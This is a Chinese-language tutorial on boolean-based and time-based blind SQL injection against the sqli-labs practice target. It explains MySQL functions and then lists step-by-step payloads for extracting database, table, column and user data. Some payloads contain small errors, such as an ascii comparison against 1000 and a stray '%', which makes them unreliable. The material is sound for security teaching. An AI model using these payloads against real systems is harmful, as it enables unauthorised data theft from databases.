SQL?bool盲注和時間盲注詳解
今天繼續(xù)給大家介紹Linux運維相關(guān)知識,本文主要內(nèi)容是SQL bool盲注和時間盲注。
免責(zé)聲明:
本文所介紹的內(nèi)容僅做學(xué)習(xí)交流使用,嚴(yán)禁利用文中技術(shù)進行非法行為,否則造成一切嚴(yán)重后果自負!
再次強調(diào):嚴(yán)禁對未授權(quán)設(shè)備進行滲透測試!
一、bool盲注和時間盲注常用函數(shù)
1、休眠函數(shù)
sleep()是SQL語句中用于休眠的函數(shù),時間盲注中常用,sleep(x)可以讓程序休眠x秒。
2、字符串截取函數(shù)
字符串截取函數(shù)是bool盲注和時間盲注中都需要使用的函數(shù)。常用的字符串截取函數(shù)有mid()、substr()、left()。
mid()函數(shù)格式為:
mid(【目標(biāo)字段】,【開始的位置】,【截取長度】)
其中,開始的位置默認(rèn)從1開始。
substr()函數(shù)的用法與mid相似,left函數(shù)則默認(rèn)從字段的最左邊開始截取,其格式為:
left(【目標(biāo)字段】,【截取長度】)
表示從目標(biāo)字段的左邊開始截取指定長度的字符。
3、字符串長度函數(shù)
字符串長度函數(shù)length()會應(yīng)用在SQL bool盲注和時間盲注中,length()函數(shù)可以反饋目標(biāo)字符串的長度。
4、ascii碼轉(zhuǎn)換函數(shù)
ascii碼轉(zhuǎn)換函數(shù)可以將一個字符轉(zhuǎn)換成ascii碼,在SQL基于時間的盲注和基于bool的盲注中,ascii碼轉(zhuǎn)換函數(shù)可以將一個字符轉(zhuǎn)換成其ascii碼值。常用的ascii碼轉(zhuǎn)換函數(shù)為ascii()、ord()。
5、條件判斷函數(shù)
條件判斷函數(shù)if是SQL時間盲注中的必用函數(shù),可以利用if函數(shù)來根據(jù)條件來反饋不同的結(jié)果。
if函數(shù)格式如下所示:
if(【條件】,【值1】,【值2】)
當(dāng)條件成立時,if函數(shù)返回值1,當(dāng)條件不成立時,if函數(shù)返回值2.
二、bool盲注和時間盲注payload
1、SQL注入點探測
我們使用sqli_lab的靶場,對基于bool的盲注和基于時間的盲注進行講解,在sqli_lab靶場中,基于bool的盲注是第8關(guān),基于時間的盲注是第9關(guān),頁面如下所示:
對于bool類型的盲注,我們可以通過執(zhí)行以下payload來探測是否存在注入點:
id=1'and 1=2#
如果顯示異常,那么就說明and后面的內(nèi)容被成功執(zhí)行,因此可能存在bool類型的SQL注入。
對于時間類型的盲注,我們可以通過執(zhí)行以下payload來探測是否存在注入點:
id=1'and sleep(10)#
如果網(wǎng)頁反應(yīng)時間出現(xiàn)了明顯延遲,就說明存在基于時間的SQL注入。
2、猜解數(shù)據(jù)庫名
bool類型的盲注猜解數(shù)據(jù)庫長度payload如下所示:
id=1'and length(database())>10#
時間類型的盲注猜解數(shù)據(jù)庫長度payload如下所示:
id=1'and sleep(if(length(database())>10,10,1))>10#
bool類型的盲注猜解數(shù)據(jù)庫名稱payload如下所示:
id=1'and ascii(mid(database(),1,1))>115#
時間類型的盲注猜解數(shù)據(jù)庫名稱payload如下所示:
id=1'and sleep(if(ascii(mid(database(),1,1))>115,10,1))#
上述四個payload,length函數(shù)用于反饋查詢結(jié)果的長度,mid函數(shù)用于截取查詢結(jié)果的指定字符,ascii函數(shù)用于將其轉(zhuǎn)換為ascii碼的形式,if函數(shù)中第一個參數(shù)為一個判斷表達式,本質(zhì)上是bool類型盲注的核心,后面的10和1分別為表達式成立或者不成立條件下的返回值,該返回值為sleep函數(shù)的輸入,以此就可以控制網(wǎng)頁反應(yīng)的時間。
3、猜解表名
bool類型的盲注表名個數(shù)猜解payload如下所示:
id=1'and (select count(*) from information_schema.tables where table_schema=database())>2#
時間類型的盲注表名個數(shù)猜解payload如下所示:
id=1'and sleep(if((select count(*) from information_schema.tables where table_schema=database())>2,10,1))#
bool類型的盲注表名猜解payload如下所示:
id=1'and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100#
時間類型的盲注表名猜解payload如下所示:
id=1'and sleep(if((ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100),10,1))#
在上述4個payload中,其原理與之前介紹的相似,但是是使用limit函數(shù)來不斷的控制反饋的變量。
4、猜解字段名
bool類型的盲注字段名個數(shù)猜解payload如下所示:
id=1'and (select count(*) from information_schema.columns where table_name='users'and table_schema=database())>1#
時間類型的盲注字段名個數(shù)猜解payload如下所示:
id=1'and sleep(if((select count(*) from information_schema.columns where table_name='users'and table_schema=database())>1,10,1))#
bool類型的盲注字段名個數(shù)猜解payload如下所示:
id=1'and ascii(mid((select% column_name from information_schema.columns where%20table_name='users'and table_schema=database() limit 0,1),1,1))>1000#
時間類型的盲注字段名個數(shù)猜解payload如下所示:
id=1'and sleep(if(ascii(mid((select% column_name from information_schema.columns where%20table_name='users'and table_schema=database() limit 0,1),1,1))>1000,10,1))#
其原理與之前類似。
5、猜解數(shù)據(jù)
bool類型的盲注數(shù)據(jù)長度猜解payload如下所示:
id=1'and (select count(*) from users)>1#
時間類型的盲注數(shù)據(jù)長度猜解payload如下所示:
id=1'and sleep(if((select count(*) from users)>1,10,1))#
bool類型的盲注數(shù)據(jù)猜解payload如下所示:
id=1'and ascii(mid((select username from users limit 0,1),1,1))>1#
時間類型的盲注數(shù)據(jù)猜解payload如下所示:
id=1'and sleep(if(ascii(mid((select username from users limit 0,1),1,1))>1,10,1))#
到此這篇關(guān)于SQL bool盲注和時間盲注詳解的文章就介紹到這了,更多相關(guān)SQL bool盲注和時間盲注內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
SQL Server 數(shù)據(jù)庫備份和還原認(rèn)識和總結(jié) (一)
可能許多同學(xué)對SQL Server的備份和還原有一些了解,也可能經(jīng)常使用備份和還原功能,我相信除DBA之外我們大部分開發(fā)員隊伍對備份和還原只使用最基礎(chǔ)的功能,對它也只有一個大概的認(rèn)識,如果對它有更深入的認(rèn)識,了解它更全面的功能豈不是更好,到用時會得心應(yīng)手2012-08-08在Windows XP系統(tǒng)安裝SQL server 2000 企業(yè)版(圖解版)
今天在網(wǎng)上下載一個軟件,需要使用MS SQL,海波用的是 Windows XP Professional(專業(yè)) 版系統(tǒng),而SQL卻是企業(yè)版。安裝的時候提示我只能安裝客戶端,服務(wù)程序卻不能安裝。海波在網(wǎng)上搜索到了一些方法,設(shè)置成功了2014-07-07mssql 數(shù)據(jù)庫表行轉(zhuǎn)列,列轉(zhuǎn)行終極方案
mssql 數(shù)據(jù)庫表行轉(zhuǎn)列,列轉(zhuǎn)行終極方案,需要的朋友可以參考下。2010-04-04SQL Server誤區(qū)30日談 第16天 數(shù)據(jù)的損壞和修復(fù)
我已經(jīng)聽過很多關(guān)于數(shù)據(jù)修復(fù)可以做什么、不可以做什么、什么會導(dǎo)致數(shù)據(jù)損壞以及損壞是否可以自行消失。其實我已經(jīng)針對這類問題寫過多篇博文,因此本篇博文可以作為“流言終結(jié)者”來做一個總結(jié),希望你能有收獲2013-01-01在程序中壓縮sql server2000的數(shù)據(jù)庫備份文件的代碼
在程序中壓縮sql server2000的數(shù)據(jù)庫備份文件的代碼...2007-03-03